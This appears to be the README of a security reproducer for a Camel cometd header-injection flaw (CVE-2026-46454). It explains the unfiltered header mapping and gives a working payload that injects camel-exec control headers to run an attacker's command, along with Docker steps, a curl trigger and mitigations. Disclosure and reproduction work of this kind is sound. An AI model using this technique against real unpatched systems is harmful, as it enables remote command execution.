camel-cometd Inbound Bayeux Header Injection Reproducer (CVE-2026-46454)

This project demonstrates a message-header injection in Apache Camel's camel-cometd component, tracked as CVE-2026-46454. The component maps inbound Bayeux (CometD) message headers into the Camel Exchange without a HeaderFilterStrategy. CometdBinding.createCamelMessage copies the entire ext.CamelHeaders map supplied by the CometD client straight onto the Camel message (message.setHeaders(...)), so any header name — including Camel-internal control headers such as CamelHttpUri, CamelFileName, CamelJmsDestinationName (or, as here, the camel-exec control headers) — is accepted unmodified. Because a CometdComponent installs no Bayeux SecurityPolicy by default, any client that can complete the Bayeux handshake can publish such a message without authentication and steer downstream producers in the route.

Advisory: https://camel.apache.org/security/CVE-2026-46454.html

Vulnerability Summary

Same header-injection family as CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 and CVE-2026-47323 — components mapping inbound headers into the Exchange without filtering the Camel namespace.

Technical Details

// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage);   // reads client-supplied ext.CamelHeaders
if (headers != null) {
    message.setHeaders(headers);                                      // <-- no HeaderFilterStrategy
}

The client controls ext.CamelHeaders, so it can set any Camel control header on the Exchange. The fix (4.14.8 / 4.18.3 / 4.21.0) implements a HeaderFilterStrategy (a long-standing TODO in the code) that filters the Camel* / camel* namespace case-insensitively on inbound mapping.

The victim route

from("cometd://0.0.0.0:8088/service/inject")
    .to("exec:echo?args=hello");     // route author only intends to run: echo hello

An attacker publishes to /service/inject with ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }; the binding maps them onto the Exchange and the exec producer runs the attacker's command instead.

Repository layout

Self-contained: the camel-cometd consumer runs an embedded Bayeux server (port 8088) inside the app, and the /exploit/attack endpoint acts as the unauthenticated CometD client.

CVE-2026-46454/
├── pom.xml                 # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # from("cometd://.../service/inject").to("exec:echo")
    │   └── ExploitController.java  # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
    └── resources/
        └── application.properties

Prerequisites

• Java 17+ and Maven 3.8+
• Docker (runs the reproducer)

Reproduction Steps

Step 1: Build and start the container

mvn clean package -DskipTests
docker compose up -d --build

Step 2: Trigger the header injection (RCE)

curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
#    The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
#    >>> RCE proof — /tmp/pwned exists: true

Step 3: Verify

docker exec cve-2026-46454 ls -la /tmp/pwned

Cleanup

docker compose down

Attack Vectors

Any route with a camel-cometd consumer feeding a downstream producer whose behaviour is controlled by Camel headers — an HTTP producer (CamelHttpUri), a file producer (CamelFileName), a JMS producer (CamelJmsDestinationName), an exec producer (CamelExecCommand*), etc. Any client that can handshake against the Bayeux endpoint can inject them; no authentication is required by default. The injected headers persist across internal direct, seda and vm hops.

Exploit Conditions

1. A camel-cometd consumer on an affected version, routed to a header-controllable producer.
2. No Bayeux SecurityPolicy on the CometdComponent (the default), so any client can publish.

Recommended Fix

Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507), which adds a HeaderFilterStrategy to the cometd binding that blocks client-supplied Camel* / camel* headers on inbound mapping.

Mitigation

Until upgrading:

1. Strip Camel control headers at the start of the route: .removeHeaders("Camel*") and .removeHeaders("camel*").
2. Install an explicit Bayeux SecurityPolicy on the CometdComponent so only authenticated clients can publish.

Disclaimer

This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.